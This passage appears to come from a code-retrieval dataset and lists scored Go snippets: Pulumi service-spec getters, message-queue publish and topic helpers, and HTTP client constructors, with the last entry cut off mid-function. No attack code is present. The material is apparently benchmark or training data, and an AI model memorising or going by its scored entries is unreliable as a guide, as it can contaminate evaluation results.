"docid": "978a0a5755d59ad98486371b9095dd97", "score": "0.52257293", "text": "func (o ElasticsearchSpecTransportServiceSpecOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v ElasticsearchSpecTransportServiceSpec) *bool { return v.PublishNotReadyAddresses }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "b21c1ae15f822446deeb0692399fc782", "score": "0.52185816", "text": "func (o ElasticsearchSpecHttpServiceSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ElasticsearchSpecHttpServiceSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "abd56252bb4242d1fa8fc379cbd86158", "score": "0.5217815", "text": "func (c *Client) PublishAtLeastOnceRetained(message []byte, topic string) (exchange <-chan error, err error) {\n\tbuf := bufPool.Get().(*[bufSize]byte)\n\tdefer bufPool.Put(buf)\n\tpacket, err := publishPacket(buf, message, topic, atLeastOnceIDSpace, typePUBLISH<<4|atLeastOnceLevel<<1|retainFlag)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn c.submitPersisted(packet, &c.atLeastOnce)\n}", "title": "" }, { "docid": "c36b669557c9899205f4e09b393332a0", "score": "0.5216752", "text": "func (o SearchHeadClusterSpecServiceTemplateSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *SearchHeadClusterSpecServiceTemplateSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "a06cdc20eb21aa0af9bf54326ceb4187", "score": "0.5208501", "text": "func (js *jetStream) PublishAsyncPending() int {\n\tjs.publisher.RLock()\n\tdefer js.publisher.RUnlock()\n\treturn len(js.publisher.acks)\n}", "title": "" }, { "docid": "ed106a36200aad689acf5e11300d5e1b", "score": "0.5202422", "text": "func (broker *Broker) Poll(topic, subscriber string) (json.RawMessage, bool) {\n\traw, present := broker.topics.Load(topic)\n\ttReg, ok := raw.(*Topic)\n\tif !present || !ok {\n\t\treturn nil, false\n\t}\n\n\tmsg, subscribed := tReg.Poll(subscriber)\n\tbroker.topics.Store(topic, tReg)\n\treturn msg, subscribed\n}", "title": "" }, { "docid": "363632e2ec84e0ac9e61876d64d55e4a", "score": "0.51986593", "text": "func (o EnterpriseSearchSpecHttpServiceSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *EnterpriseSearchSpecHttpServiceSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "bcec0c8e4585e2916d660150d58bb7d5", "score": "0.5195656", "text": "func (o ServiceSpecPatchOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v ServiceSpecPatch) *bool { return v.PublishNotReadyAddresses }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "f4562063886d34dbd4663cdda0bd9201", "score": "0.5195565", "text": "func (r *Puber) DeferredPublish(topic string, delay time.Duration, body []byte) error {\r\n\tconn, err := r.nextConn()\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\treturn conn.DeferredPublish(topic, delay, body)\r\n}", "title": "" }, { "docid": "748c5a6885a9cb39882fbfc88a844ed2", "score": "0.5192481", "text": "func (q *MessageQueue) IsEmpty() bool {\n\tif q.count == 0 {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "0bf30b15c76372513a4814c981ab1518", "score": "0.5189981", "text": "func publish(topic string, data string) error {\n\tlog.Printf(\"[DEBUG] publish - Publishing to topic %s\\n\", topic)\n\terror := cbBroker.client.Publish(topic, []byte(data), cbBroker.qos)\n\tif error != nil {\n\t\tlog.Printf(\"[ERROR] publish - Unable to publish to topic: %s due to error: %s\\n\", topic, error.Error())\n\t\treturn error\n\t}\n\n\tlog.Printf(\"[DEBUG] publish - Successfully published message to = %s\\n\", topic)\n\treturn nil\n}", "title": "" }, { "docid": "de809b37e06c0497913548cb529a5630", "score": "0.51881325", "text": "func (o *CreateLabelResponse) HasMqtt() bool {\n\tif o != nil && o.Mqtt != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "76956664771b94f32ff39c8afaf8150d", "score": "0.51876855", "text": "func isSysTopic(topic string) bool {\n\treturn strings.HasPrefix(topic, SysCmdPrefix)\n}", "title": "" }, { "docid": "e57dab64c664d3d61a05508637eaa16b", "score": "0.51840967", "text": "func ValidTopic(topic []byte) bool {\n\treturn len(topic) > 0 && bytes.IndexByte(topic, '#') == -1 && bytes.IndexByte(topic, '*') == -1\n}", "title": "" }, { "docid": "dad8f43ffe3309d1cefea20dde5a586a", "score": "0.51739466", "text": "func (o LicenseMasterSpecServiceTemplateSpecOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v LicenseMasterSpecServiceTemplateSpec) *bool { return v.PublishNotReadyAddresses }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "7a8425d4dfb7ba5a6c4ccd0f82dcd885", "score": "0.51705116", "text": "func (o ApmServerSpecHttpServiceSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ApmServerSpecHttpServiceSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "2ba7d2d1fc90e42dbc245c9e50acac94", "score": "0.51650345", "text": "func publish(message string, ack int16) {\n\t// update ack mode\n\tif ack != int16(config.Producer.RequiredAcks) {\n\t\tconfig.Producer.RequiredAcks = sarama.RequiredAcks(ack)\n\t}\n\n\t// publish sync\n\tstartTime := time.Now()\n\tmsg := &sarama.ProducerMessage{\n\t\tTopic: topic,\n\t\tValue: sarama.StringEncoder(message),\n\t}\n\tlog.Printf(\"Kafka publisher elapsed time %s\\n\", time.Since(startTime))\n\n\tif p, o, err := producer.SendMessage(msg); err != nil {\n\t\tlog.Printf(\"Error publishing message '%s': [%s]\\n\", message, err)\n\t} else {\n\t\tlog.Printf(\"published message '%s' on Partition %d Offset %d\\n\", message, p, o)\n\t}\n\n\t// publish async\n\t//producer.Input() <- &sarama.ProducerMessage{\n}", "title": "" }, { "docid": "4a1fddcffb32a3a1e42d0c89ef4c0851", "score": "0.5162317", "text": "func Publish(ctx context.Context, data interface{}) bool {\n\tif data == nil {\n\t\tlog.Error(\"Nil data passed to event publisher\")\n\t\treturn false\n\t}\n\tevent := data.(common.Events)\n\n\ttopic := config.Data.MessageBusConf.EmbQueue[0]\n\tK, err := dc.Communicator(dc.KAFKA, config.Data.MessageBusConf.MessageBusConfigFilePath, topic)\n\tif err != nil {\n\t\tlog.Error(\"Unable communicate with kafka, got:\" + err.Error())\n\t\treturn false\n\t}\n\n\t// Since we are deleting the first event from the eventlist,\n\t// processing the first event\n\tvar message common.MessageData\n\terr = json.Unmarshal(event.Request, &message)\n\tif err != nil {\n\t\tvar messageData dmtf.Event\n\t\tif err := json.Unmarshal(event.Request, &messageData); err != nil {\n\t\t\tlog.Error(\"Failed to unmarshal the event: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\t\tmessage.Context = messageData.Context\n\t\tmessage.Name = messageData.Name\n\t\tmessage.OdataType = messageData.ODataType\n\t\tmessage.Events = make([]common.Event, 0)\n\t\tfor i := 0; i < len(messageData.Events); i++ {\n\t\t\tvar eventData common.Event\n\t\t\teventData.EventGroupID = messageData.Events[i].EventGroupID\n\t\t\teventData.EventID = messageData.Events[i].EventID\n\t\t\teventData.EventTimestamp = messageData.Events[i].EventTimestamp\n\t\t\teventData.EventType = messageData.Events[i].EventType\n\t\t\teventData.Message = messageData.Events[i].Message\n\t\t\teventData.MemberID = messageData.Events[i].MemberID\n\t\t\teventData.Severity = messageData.Events[i].Severity\n\t\t\teventData.Oem = messageData.Events[i].Oem\n\t\t\teventData.MessageID = messageData.Events[i].MessageID\n\t\t\teventData.OriginOfCondition = &common.Link{\n\t\t\t\tOid: messageData.Events[i].OriginOfCondition.Oid,\n\t\t\t}\n\t\t\teventData.MessageArgs = messageData.Events[i].MessageArgs\n\t\t\tmessage.Events = append(message.Events, eventData)\n\t\t}\n\t\tevent.Request, _ = json.Marshal(message)\n\t}\n\tif err := K.Distribute(event); err != nil {\n\t\tlog.Error(\"Unable Publish events to kafka, got:\" + err.Error())\n\t\treturn false\n\t}\n\tlog.Info(\"forwarded event\" + string(event.Request))\n\tfor _, eventMessage := range message.Events {\n\t\tlog.Info(eventMessage.EventType + \" Event published\")\n\t}\n\treturn true\n}", "title": "" }, { "docid": "83db1922bbe384d5921ed6f3a0b637e5", "score": "0.5161652", "text": "func NsqPublish(topicName string, data []byte) error {\n\treturn nsqWriter.Publish(topicName, data)\n}", "title": "" }, { "docid": "9421901b796b4f61e044d65154d00c2c", "score": "0.5161342", "text": "func (a *confluentAdapter) ensureTopic(ctx context.Context, topic string) error {\n\ta.logger.Infof(\"Ensuring topic %q\", topic)\n\n\tadminClient, err := a.kafkaClient.CreateKafkaAdminClient()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating admin client from producer: %w\", err)\n\t}\n\tdefer adminClient.Close()\n\n\tts := []kafka.TopicSpecification{{\n\t\tTopic: topic,\n\t\tNumPartitions: a.newTopicPartitions,\n\t\tReplicationFactor: a.newTopicReplicationFactor}}\n\n\tm, err := adminClient.GetMetadata(&topic, false, a.topicTimeout)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error retrieving topic %q metadata: %w\", topic, err)\n\t}\n\tif m == nil {\n\t\treturn fmt.Errorf(\"empty response requesting topic metadata for %q\", a.topic)\n\t}\n\n\tt, ok := m.Topics[a.topic]\n\tif !ok {\n\t\treturn fmt.Errorf(\"topic %q metadata response does not contain required information\", a.topic)\n\t}\n\n\tswitch t.Error.Code() {\n\tcase kafka.ErrNoError:\n\t\ta.logger.Infof(\"Topic found: %q with %d partitions\", t.Topic, len(t.Partitions))\n\t\treturn nil\n\tcase kafka.ErrUnknownTopic, kafka.ErrUnknownTopicOrPart:\n\t\t// topic does not exists, we need to create it.\n\tdefault:\n\t\treturn fmt.Errorf(\"topic %q metadata returned inexpected status: %w\", a.topic, t.Error)\n\t}\n\n\ta.logger.Infof(\"Creating topic %q\", topic)\n\tresults, err := adminClient.CreateTopics(ctx, ts, kafka.SetAdminOperationTimeout(time.Duration(a.topicTimeout)*time.Millisecond))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating topic %q: %w\", a.topic, err)\n\t}\n\n\tif len(results) != 1 {\n\t\treturn fmt.Errorf(\"creating topic %s returned inexpected results: %+v\", a.topic, results)\n\t}\n\n\tif results[0].Error.Code() != kafka.ErrNoError {\n\t\treturn fmt.Errorf(\"failed to create topic %s: %w\", a.topic, results[0].Error)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "12a1bf0f30b32860c3c7eb2866d7d908", "score": "0.51597226", "text": "func (mxmqtt *MXMQTT) subscribe(connProxyID string, topic string) bool {\n\tvar isNew bool\n\tmxmqtt.subscriptionInfo.init(connProxyID, topic)\n\tisNew = !mxmqtt.subscriptionInfo.exist(connProxyID, topic)\n\tmxmqtt.subscriptionInfo.topicsByConnID[connProxyID] = topic\n\tmxmqtt.subscriptionInfo.topicsByName[topic] = topic\n\treturn isNew\n}", "title": "" }, { "docid": "c1fcb92f354d500a47dfeb77353a6e8c", "score": "0.51593673", "text": "func (o StandaloneSpecServiceTemplateSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *StandaloneSpecServiceTemplateSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "8bef2cfafceb23ddbbfc69c7882d5da9", "score": "0.51541245", "text": "func EnsureTopic(client *pubsub.Client, topic string) (*pubsub.Topic, error) {\n\tctx := context.Background()\n\tt := client.Topic(topic)\n\n\texists, err := t.Exists(ctx)\n\tif exists || err != nil {\n\t\treturn t, err\n\t}\n\treturn client.CreateTopic(ctx, topic)\n}", "title": "" }, { "docid": "ff8af327343249d42aab32115d878482", "score": "0.51530874", "text": "func ValidTopic(topic string) bool {\n\treturn len(topic) > 0 && !strings.Contains(topic, \"#\") && !strings.Contains(topic, \"+\")\n}", "title": "" }, { "docid": "12494e29e725b454ebd91d5b1885cc75", "score": "0.514919", "text": "func (o IndexerClusterSpecServiceTemplateSpecOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v IndexerClusterSpecServiceTemplateSpec) *bool { return v.PublishNotReadyAddresses }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "f1fb415cbd9cec979c49193085aa675d", "score": "0.5139367", "text": "func ReplicationGroupNeedsUpdate(kube *v1alpha1.ReplicationGroup, rg elasticache.ReplicationGroup) bool {\n\tswitch {\n\tcase kube.Spec.AutomaticFailoverEnabled != automaticFailoverEnabled(rg):\n\t\treturn true\n\tcase kube.Spec.CacheNodeType != aws.StringValue(rg.CacheNodeType):\n\t\treturn true\n\tcase kube.Spec.SnapshotRetentionLimit != aws.Int64Value(rg.SnapshotRetentionLimit):\n\t\treturn true\n\t// AWS will return a snapshot window if we don't specify one.\n\tcase kube.Spec.SnapshotWindow != \"\" && kube.Spec.SnapshotWindow != aws.StringValue(rg.SnapshotWindow):\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "21a24d98e37b870cdb395bca91fe9c6d", "score": "0.5125045", "text": "func (b *Bot) isSubscribed() (bool, error) {\n\tpath := getSubsribeEndpoint(b.config.WebhookConfig.Environment)\n\tresp, err := b.asOwnerOfApp.Client.Get(path)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer resp.Body.Close()\n\n\t//If response code is 204 it was successful\n\tif resp.StatusCode == http.StatusNoContent {\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}", "title": "" }, { "docid": "22cb14916d6862878f8b86f007796928", "score": "0.512345", "text": "func (o SearchHeadClusterSpecServiceTemplateSpecOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v SearchHeadClusterSpecServiceTemplateSpec) *bool { return v.PublishNotReadyAddresses }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "f0d04924ee8cb0f7e1bbe4cc75f72b70", "score": "0.5120079", "text": "func (t *Topic) Exists() (bool, error) {\n\treturn t.kz.exists(t.metadataPath())\n}", "title": "" }, { "docid": "d03088a9fcec33ef0bb37a5562476937", "score": "0.5119168", "text": "func (a *Assigner) areBindersFilledUp() bool {\n\t// first subscriber, there is at least one partition in the topic\n\tif len(a.subscribers) == 1 {\n\t\treturn false\n\t}\n\n\tbinderSubs := make(map[*domain.SubscriberID]struct{})\n\tfor _, b := range a.Binders {\n\t\tbinderSubs[b.GetSubscriberId()] = struct{}{}\n\t}\n\n\treturn len(a.subscribers) > len(binderSubs)\n}", "title": "" }, { "docid": "138406fdb09e575c837516cb13d7aada", "score": "0.5114894", "text": "func (nlcoord *NsqLookupCoordinator) checkTopics(monitorChan chan struct{}) {\n\tticker := time.NewTicker(doCheckInterval)\n\twaitingMigrateTopic := make(map[string]map[int]time.Time)\n\tlostLeaderSessions := make(map[string]bool)\n\tlastFullCheck := time.Now()\n\tdefer func() {\n\t\tticker.Stop()\n\t\tcoordLog.Infof(\"check topics quit.\")\n\t}()\n\n\tfor {\n\t\tselect {\n\t\tcase <-monitorChan:\n\t\t\treturn\n\t\tcase <-ticker.C:\n\t\t\tif nlcoord.leadership == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif time.Since(lastFullCheck) < doCheckInterval {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tnlcoord.doCheckTopics(monitorChan, nil, waitingMigrateTopic, lostLeaderSessions, true)\n\t\t\tlastFullCheck = time.Now()\n\t\tcase failedInfo := <-nlcoord.checkTopicFailChan:\n\t\t\tif nlcoord.leadership == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif failedInfo.TopicName == \"\" && time.Since(lastFullCheck) < doCheckInterval/10 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tnlcoord.doCheckTopics(monitorChan, &failedInfo, waitingMigrateTopic, lostLeaderSessions, failedInfo.TopicName == \"\")\n\t\t\tif failedInfo.TopicName == \"\" {\n\t\t\t\tlastFullCheck = time.Now()\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "79815f575b5def5954d47ec309a349f2", "score": "0.5106087", "text": "func (o SparkSpecServiceTemplateSpecOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v SparkSpecServiceTemplateSpec) *bool { return v.PublishNotReadyAddresses }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "859b88b30ba42414043c74399fe1160d", "score": "0.5102963", "text": "func (qs *queueSetImpl) isEmpty() bool {\n\treturn qs.numRequestsEnqueued == 0\n}", "title": "" }, { "docid": "8afe45828f9860df8ae2988f55c77259", "score": "0.5102459", "text": "func (q *Queue) isFull() bool {\n\treturn int(q.size) == q.Size()\n}", "title": "" }, { "docid": "863f02a5937ea8f93ef84f0d8ac21bf4", "score": "0.5101348", "text": "func isReadyforUpdate(nodeConfig *osev1.Node) bool {\n\tvar conditionTypes = []string{\n\t\tosev1.KubeAPIServerProgressing,\n\t\tosev1.KubeControllerManagerProgressing,\n\t\tosev1.KubeletProgressing,\n\t\tosev1.KubeAPIServerDegraded,\n\t\tosev1.KubeControllerManagerDegraded,\n\t\tosev1.KubeletDegraded,\n\t}\n\t// if the node config resource is empty, it is ready for the update\n\t// to hold the new configuration update request.\n\tif nodeConfig == nil {\n\t\treturn true\n\t}\n\tif len(nodeConfig.Status.WorkerLatencyProfileStatus.Conditions) > 0 {\n\t\tfor _, condition := range nodeConfig.Status.WorkerLatencyProfileStatus.Conditions {\n\t\t\tfor _, conditionType := range conditionTypes {\n\t\t\t\tif conditionType == condition.Type {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "5b42701f3a72e24e65a7b25617312cdb", "score": "0.5099534", "text": "func (m *Driver) Publish(data interface{}) bool {\n\tmessage := data.([]byte)\n\treturn m.adaptor().Publish(m.topic, message)\n}", "title": "" }, { "docid": "7d4342ee344964022a6ec70cf670dab1", "score": "0.5097313", "text": "func TestAndSetConsume(addr *bool) bool", "title": "" } ]
e10b0804ecc815ae170226100b03b00f
NewFramesClient gets an HTTP client that maintains a persistent frames connection.
[ { "docid": "2f727337ec94c2a49019c24d4d670084", "score": "0.76335734", "text": "func NewFramesClient(n, addr string) (*http.Client, error) {\n\tc, err := net.Dial(n, addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfrt := &FramesRoundTripper{\n\t\tDialer: frames.NewClient(c),\n\t\tTimeout: time.Hour,\n\t}\n\n\thc := &http.Client{\n\t\tTransport: frt,\n\t}\n\n\treturn hc, nil\n}", "title": "" } ]
[ { "docid": "62603fd4eb652890f9eb3e6d9bcc1637", "score": "0.6107641", "text": "func newHTTPClient(c appengine.Context) *http.Client {\n\treturn &http.Client{Transport: httpTransportFactory(c)}\n}", "title": "" }, { "docid": "e9e2af28b96c43b341a072d404b79f53", "score": "0.59394234", "text": "func newHTTPClient() *http.Client {\n\treturn &http.Client{Transport: &http.Transport{DisableKeepAlives: true}}\n}", "title": "" }, { "docid": "5a0ca397d381752d66ced5cea7a4016d", "score": "0.59011143", "text": "func newHTTPClient() *http.Client {\n\t// TBD: Change as needed (e.g. to use a different transport to control redirection policy or\n\t// disable cert validation or...)\n\treturn http.DefaultClient\n}", "title": "" }, { "docid": "d01ab3ba23cff8fc68241246808aedf0", "score": "0.5865072", "text": "func newHTTPClient() http.Client {\n\treturn http.Client{\n\t\tTransport: &LogRoundTripper{\n\t\t\trt: http.DefaultTransport,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "e38a270cad844f796113ec0625da5367", "score": "0.5854235", "text": "func NewClient(http *http.Client) *Client {\n\tauthURL, _ := url.Parse(LiveAuthURL)\n\ttokenURL, _ := url.Parse(TokenAccessURL)\n\tapiURL, _ := url.Parse(APIURL)\n\n\tc := &Client{\n\t\thttp: http,\n\t\tUserAgent: userAgent,\n\t\tauthURL: authURL,\n\t\ttokenAccessURL: tokenURL,\n\t\tapiURL: apiURL,\n\t\trate: RequestRate{},\n\t}\n\n\tc.Ticker = &TickerService{client: c}\n\tc.Account = &AccountService{client: c}\n\tc.Card = &CardService{client: c}\n\tc.Contact = &ContactService{client: c}\n\tc.Transaction = &TransactionService{client: c}\n\n\treturn c\n}", "title": "" }, { "docid": "3955d18b2a420a981d618a84ef05523e", "score": "0.5849893", "text": "func NewClient(httpClients ...*http.Client) *Client {\n\tvar httpClient *http.Client\n\n\tif len(httpClients) > 0 && httpClients[0] != nil {\n\t\thttpClient = httpClients[0]\n\t} else {\n\t\tcloned := *http.DefaultClient\n\t\thttpClient = &cloned\n\t}\n\n\tc := &Client{\n\t\tBaseURL: &url.URL{\n\t\t\tScheme: \"https\",\n\t\t\tHost: \"hacker-news.firebaseio.com\",\n\t\t\tPath: \"/v0/\",\n\t\t},\n\t\tUserAgent: userAgent,\n\t\thttpClient: httpClient,\n\t}\n\n\tc.Items = &itemsService{c}\n\tc.Users = &usersService{c}\n\tc.Live = &liveService{c}\n\n\treturn c\n}", "title": "" }, { "docid": "987d06a27db3c8e30f31c44495fa8c0c", "score": "0.5752165", "text": "func NewClient() *Client {\n\ttlsConfig := tls.Config{\n\t\tCurvePreferences: []tls.CurveID{\n\t\t\ttls.X25519, // requires go 1.8\n\t\t\ttls.CurveP521,\n\t\t\ttls.CurveP384,\n\t\t\ttls.CurveP256,\n\t\t},\n\t\t// Prefer this order of ciphers.\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, // go 1.8\n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\n\t\t\t// required by HTTP-2.\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n\t\t\t// Allow fallbacks gracefully, without causing failures on the server side.\n\t\t\ttls.TLS_FALLBACK_SCSV,\n\t\t},\n\t\t// To be explicit about our choice above.\n\t\tPreferServerCipherSuites: false,\n\t\tMinVersion: tls.VersionTLS12,\n\t\t// TODO: roll our own root CA list. Limit to those publishing\n\t\t// certificate transparency (see\n\t\t// https://www.certificate-transparency.org/).\n\t}\n\treturn &Client{\n\t\tClient: &http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tTLSClientConfig: &tlsConfig,\n\t\t\t},\n\t\t\tCheckRedirect: checkRedirect,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "b20bf128b7b1c6fd70fada31a48930cc", "score": "0.5707387", "text": "func newHTTPClient() *http.Client {\n\ttransport := &http.Transport{\n\t\tDial: (&net.Dialer{\n\t\t\tTimeout: 5 * time.Second,\n\t\t}).Dial,\n\t\tTLSHandshakeTimeout: 5 * time.Second,\n\t}\n\treturn &http.Client{\n\t\tTimeout: time.Second * 10,\n\t\tTransport: transport,\n\t}\n}", "title": "" }, { "docid": "837a9022c5fbcea4f4c914efa0ef5e86", "score": "0.56778884", "text": "func createClient(context appengine.Context, t time.Duration) *http.Client {\n\treturn &http.Client{\n\t\tTransport: &urlfetch.Transport{\n\t\t\tContext: context,\n\t\t\tDeadline: t,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "3f5ea204f2a248443fcc0e924638e04c", "score": "0.566284", "text": "func CloseFramesClient(hc *http.Client) error {\n\tif frt, ok := hc.Transport.(*FramesRoundTripper); ok {\n\t\treturn frt.Dialer.Close()\n\t}\n\treturn errors.New(\"not a frames client\")\n}", "title": "" }, { "docid": "580cbbb759c1606d1d53a060fa797d9b", "score": "0.56595933", "text": "func (s *WaresTestSuite) NewClient() *http.Client {\n\tvar transport = &http.Transport{\n\t\tDial: func(network, addr string) (net.Conn, error) {\n\t\t\treturn net.Dial(network, s.ServerAddr())\n\t\t},\n\t\tTLSClientConfig: &tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t},\n\t}\n\tif !s.ClientInLegacyHttp1Mode {\n\t\thttp2.ConfigureTransport(transport) // make it do http2\n\t}\n\treturn httpwares.WrapClient(&http.Client{Transport: transport}, s.ClientTripperware...)\n}", "title": "" }, { "docid": "c8548ecbe542001759d19d5546afda48", "score": "0.5651289", "text": "func newClient(conn net.Conn, p *Pipeline) *Client {\n\tcl := new(Client)\n\tcl.conn = conn\n\tcl.pipeline = p\n\tcl.bufferIn = make([]byte, INPUT_BUFFER_SIZE)\n\tcl.bufferOut = make([]byte, OUTPUT_BUFFER_SIZE)\n\tcl.pipeline.owner = cl\n\tcl.state = cl_state_connected\n\n\tfor e := cl.pipeline.channelHandlers.Front(); e != nil; e = e.Next() {\n\t\tif cMap, ok := e.Value.(map[string]ChannelHandler); ok {\n\t\t\tfor _, handler := range cMap {\n\t\t\t\thandler.SetPipeline(cl.pipeline)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn cl\n}", "title": "" }, { "docid": "515a53441e3ac93d21d01be90583c889", "score": "0.56462294", "text": "func NewHTTPClient(_ context.Context) *http.Client { return defaultHTTPClient }", "title": "" }, { "docid": "de1939489ca6e4a315bd1ae1fad5ae56", "score": "0.56460345", "text": "func newHTTPClient() (*http.Client, error) {\n\ttimeout := time.Duration(httpTimeout) * time.Second\n\tcookieJar, err := cookiejar.New(nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclient := http.Client{\n\t\tJar: cookieJar,\n\t\tTimeout: timeout,\n\t}\n\treturn &client, nil\n}", "title": "" }, { "docid": "8c102ff9f576d6abeb14ba99bb54ae18", "score": "0.56418055", "text": "func NewClient() (*Lostfilm, error) {\n\tl := Lostfilm{}\n\tl.jar, _ = cookiejar.New(nil)\n\tl.client = &http.Client{Jar: l.jar}\n\n\treturn &l, nil\n}", "title": "" }, { "docid": "4056ac665b378dfc42e1c396507d48bf", "score": "0.56337774", "text": "func NewClient() HTTPClient {\n\tjar, err := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})\n\tif err != nil {\n\t\tglog.Fatal(err)\n\t}\n\treturn &httpClient{\n\t\t&http.Client{\n\t\t\tTimeout: time.Second * 50,\n\t\t\tJar: jar,\n\t\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\t\treturn http.ErrUseLastResponse\n\t\t\t},\n\t\t\tTransport: &http.Transport{\n\t\t\t\tDialContext: (&net.Dialer{\n\t\t\t\t\tTimeout: 30 * time.Second,\n\t\t\t\t\tKeepAlive: 30 * time.Second,\n\t\t\t\t\tDualStack: true,\n\t\t\t\t}).DialContext,\n\t\t\t\tMaxIdleConns: 100,\n\t\t\t\tIdleConnTimeout: 90 * time.Second,\n\t\t\t\tTLSHandshakeTimeout: 30 * time.Second,\n\t\t\t\tExpectContinueTimeout: 1 * time.Second,\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "8ad7753059ab8cb23046b51997619bde", "score": "0.5622603", "text": "func newClient(apiurl string, apikey string, secret string, verifyssl bool) *CloudStackClient {\n\tcs := CloudStackClient{\n\t\tclient: &http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tProxy: http.ProxyFromEnvironment,\n\t\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: !verifyssl}, // If verifyssl is true, skipping the verify should be false and vice versa\n\t\t\t},\n\t\t},\n\t\tbaseURL: apiurl,\n\t\tapiKey: apikey,\n\t\tsecret: secret,\n\t\ttimeout: 60,\n\t}\n\treturn &cs\n}", "title": "" }, { "docid": "82d16d653f330392805a800a8b0f9ce6", "score": "0.5621799", "text": "func newClient(client *http.Client, apiAddrPrefix, projectReference, locationID, datasetID, hl7StoreID string) *Client {\n\tc := &Client{\n\t\tmetrics: monitoring.NewClient(),\n\t\tclient: client,\n\t\tapiAddrPrefix: apiAddrPrefix,\n\t\tprojectReference: projectReference,\n\t\tlocationID: locationID,\n\t\tdatasetID: datasetID,\n\t\thl7StoreID: hl7StoreID,\n\t}\n\tc.initMetrics()\n\treturn c\n}", "title": "" }, { "docid": "f2bdf858c48a72098741143f438decf7", "score": "0.5612234", "text": "func newClientWithHTTPClient(baseURL *url.URL, client *http.Client) (*Client, error) {\n\tc := &Client{\n\t\tclient: client,\n\t\tbaseURL: baseURL,\n\t}\n\tservice := &service{client: c}\n\n\tc.project = (*projectService)(service)\n\tc.repository = (*repositoryService)(service)\n\tc.content = (*contentService)(service)\n\tc.watch = (*watchService)(service)\n\treturn c, nil\n}", "title": "" }, { "docid": "1f221aefd652d80efb3ce6004d6c681d", "score": "0.56074995", "text": "func newClient(config *metrics.ClientConfig) (metrics.Client, error) {\n\treturn &Client{\n\t\tcountRecords: make([]CountRecord, 0),\n\t\tgaugeRecords: make([]GaugeRecord, 0),\n\t\ttimingRecords: make([]TimingRecord, 0),\n\t\tconfig: 